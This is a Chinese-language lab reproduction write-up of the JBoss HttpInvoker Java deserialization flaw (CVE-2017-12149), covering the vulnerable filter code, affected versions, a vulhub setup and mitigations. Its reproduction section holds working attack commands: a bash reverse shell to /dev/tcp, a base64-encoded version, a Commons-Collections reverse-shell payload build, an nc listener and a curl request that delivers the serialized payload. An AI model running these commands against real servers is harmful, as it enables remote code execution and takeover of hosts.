1.漏洞简介
该漏洞为Java反序列化错误类型,存在于Jboos的HttpInvoker组件中的ReadOnlyAccessFilter
过滤器中,该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致攻击者可以在服务器上执行任意代码。
2、漏洞版本
JBOOS Application Server是一个基于J2EE的开放源代码的应用服务器,JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用,Java序列化:把Java对象转换为字节序列的过程。Java反序列化:指把字节序列恢复为Java对象的过程。
Java序列化与反序列化作用:便于保存数据,或者进行数据的传输。
序列化
FileOutputStream fos = new FileOutputStream(file);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(st);
反序列化
FileInputStream fis = new FileInputStream(file);
ObjectInputStream ois = new ObjectInputStream(fis);
Student st1 = (Student) ois.readObject();
漏洞出现在Jboss的HttpInvoker组件中的ReadOnlyAccessFilter过滤器中,源码在jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet
目录下的ReadOnlyAccessFiter.class
文件中其中doFilter函数代码如下:
`public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException
{
HttpServletRequest httpRequest = (HttpServletRequest)request;
Principal user = httpRequest.getUserPrincipal();
if ((user == null) && (this.readOnlyContext != null))
{
ServletInputStream sis = request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(sis);
MarshalledInvocation mi = null;
try
{
mi = (MarshalledInvocation)ois.readObject(); //漏洞点
}
catch (ClassNotFoundException e)
{
throw new ServletException("Failed to read MarshalledInvocation", e);
}
request.setAttribute("MarshalledInvocation", mi);
mi.setMethodMap(this.namingMethodMap);
Method m = mi.getMethod();
if (m != null) {
validateAccess(m, mi);
}
}
chain.doFilter(request, response);
}
`
直接从Http中获取数据,在没有进行检查或者过滤的情况下,尝试调用了readobject()方法对数据流进行反序列化操作,因此产生了Java反序列化漏洞。
3、影响版本
JbossAS 5.x
JbossAS 6.x
4、漏洞复现
1、我们这里使用vulhub靶场启动环境。
cd jboss/
cd CVE-2017-12149/
docker-compose up -d
2、我们访问链接,查看靶场是否启动成功。
http://192.168.61.129:8080/
3、进入漏洞页面http://your-ip/invoker/readonly,http响应码500(内部服务器错误-服务器端的CGI,ASP,JSP等程序发生了错误),分析猜想,此处服务器将用户提交的POST内容进行了Java反序列化。
4、查看版本号
/admin-console/login.seam?conversationId=4
4.1、工具直接利用
工具下载地址:https://github.com/yunxu1/jboss-_CVE-2017-12149
1、反弹shell
这里复现,我们需要bash方法进行编码。
bash -i >& /dev/tcp/192.168.61.128/6666 0>&1
2、我们对payload进行编码,编码网站:https://base64.us/
编码结果如下:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYxLjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}
3、我们kali进行监听。
4、我们在工具执行payload。
5、kali成功反弹。
4.2、手工复现
1、下载漏洞工具:https://scan.javasec.cn/java/JavaDeserH2HC.zip
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 127.0.0.1:888 #填写监听机IP和port
nc -lvp 888
curl http://192.168.234.128:8080//invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser #提交二进制数据
5、漏洞修复
建议用户升级到JBOSS AS7,另不能及时升级的用户,可采取如下临时解决方案:
\1. 不需要 http-invoker.sar 组件的用户可直接删除此组件。
\2. 添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中:/*,用于对 http invoker 组件进行访问控制。